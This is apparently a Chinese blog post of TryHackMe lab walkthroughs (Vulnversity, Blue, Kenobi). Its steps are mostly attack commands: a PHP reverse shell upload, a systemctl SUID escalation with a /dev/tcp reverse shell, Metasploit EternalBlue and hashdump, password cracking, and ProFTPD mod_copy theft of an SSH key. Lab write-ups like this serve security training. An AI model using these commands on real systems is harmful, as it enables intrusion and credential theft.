tryhackme进攻性渗透测试-Getting Started

Tutorial

安装客户端与放置配置文件(kali客户端安装同理，百度自己搜安装openvpn)
image

Vulnversity 漏洞

Task 2 Reconnaissance 侦察

nmap cheatsheets 备忘单
nmap -sV 10.10.35.85

image

Task 3 Locating directories using Gobuster 使用 Gobuster 定位目录

https://github.com/OJ/gobuster

sudo apt-get install gobuster

目录字典 /usr/share/wordlists
/usr/share/wordlists/dirbuster/directory-list-1.0.txt

gobuster dir -u http://10.10.35.85:3333 -w <word list location>

image

Task 4 Compromise the Webserver 打点

image

http://10.10.35.85:3333/internal/uploads/php-reverse-shell.phtml

image

image

Task 5 Privilege Escalation 提权

  • 知识点：SUID

image

find / -perm -u=s -type f 2>/dev/null

image

image

https://gtfobins.github.io/#systemctl
image

image

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/10.13.1.35/2222 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
  • 如果报错找不到。切换到/bin下或者 ./systemctl改成 /bin/systemctl

image

image

Blue

tryhackme WriteUp/Walkthrough 文章/演练 走捷径
站长巨人的肩膀上，你思考得再牛逼，再如何“自立自强，自我复现”。最后一看，还是TMD的在用nmap，无非就是比别人多几个参数。与其如此，不如一开始就拿别人的WriteUp/Walkthrough少走很多弯路。 ---- 在模仿与练习中成长。
https://medium.com/@timnik/tryhackme-blue-writeup-walkthrough-with-answers-e80b1e1e0c5d
https://infosecwriteups.com/tryhackme-blue-671e0095bc45

Task 1 Recon 侦察

nmap -sS -Pn -A -p- -T5 10.10.47.199
nmap -sV --script vuln -oN 10.10.47.199 10.10.47.199
nmap -sS -Pn -p445 --script="smb-vuln-ms17-010.nse" 10.10.47.199

image

Task 2 Gain Access 初始访问

msfconsole
search ms17-010
use 0 (exploit/windows/smb/ms17_010_eternalblue)
show options
set RHOSTS <ip>
set LHOST <ip>
set payload windows/x64/shell/reverse_tcp
run

image

Task 3 Escalate 升级到meterpreter会话

Ctrl+Z
search shell_to_meterpreter
use 0
set LHOST 10.13.1.35
set SESSION 1
exploit
sessions 
sessions -i 2
getsystem 和 getuid  这里的SYSTEM并不表示运行的进程也是SYSTEM(登录权限和运行权限是两回事)
ps  进程（你的shell是 powershell，不迁移进程？？）
migrate 692 (找个带服务的进程迁移过去)

image

image

image

Task 4 Cracking

hashdump   获取存储在计算机上的密码哈希值
gzip -d rockyou.txt.gz
john --format=nt --wordlist=<path-to-wordlist> <hash>
search -f flag2.txt

image

image

image

Kenobi

Task 2 Enumerating Samba for shares 枚举 Samba 共享

  • SMB枚举
    Samba 网络文件系统，内网或互联网上的文件、打印机和其他常用共享资源。相与Windows机器交互资源就需要SMB协议。最初运行在 netbios 139端口上；windows 2000之后一直用TCP 445
    nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.203.163

image

默认密码或没输密码就进去了
image

smb cli 命令一把梭，more阅读器打开
image

下载到本地
image

递归下载共享资源，翻阅log.txt文件得到后渗透ProFTPD server上下文知识。
smbget -R smb://10.10.203.163/anonymous

rpcbind 111端口，RPC，远程过程调用。就是你ProFTPD服务启动后(这个FTP服务用到了RPC功能点)，会告诉rpcbind 111端口的服务号，完成ProFTPD服务的基础设施。客户端使用RPC功能点时，就会访问111端口，rpcbind 111端口就会进行中转，告诉ProFTPD服务（而不是其他具有RPC功能的其他服务）。
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.203.163
image

image

阅读官方文档并从那里发现漏洞：官方功能点是复制，语法也在里面有示例。
进行威胁建模：未授权复制任意文件
http://www.proftpd.org/docs/contrib/mod_copy.html
image

提前准备命令，nc连接发送协议命令时，太久会超出等待时间报错。
image

SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

加上前面的挂载漏洞，所以把私钥复制到 /var/tmp/id_rsa 下面

mkdir /mnt/kenobiNFS
mount 10.10.203.163:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

image

ssh 私钥连接
image

chmod 600 id_rsa 
ssh -i id_rsa kenobi@10.10.203.163

image

Path Variable 提权
SUID, SGID 和 Sticky Bits
image
suid一把梭
find / -perm -u=s -type f 2>/dev/null

找到可执行文件：/usr/bin/menu（思路指的是所有）
image

打印二进制文件的命令执行硬编码：strings /usr/bin/menu
image

值钱的地方在于，一眼就发现 curl使用相对路径，而不是绝对路径比如：/usr/bin/curl 或者 /usr/bin/uname。所以，劫持curl的路径变量进行提权。
image

posted @ 2023-12-07 00:20  sec875  阅读(75)  评论(0)  编辑  收藏  举报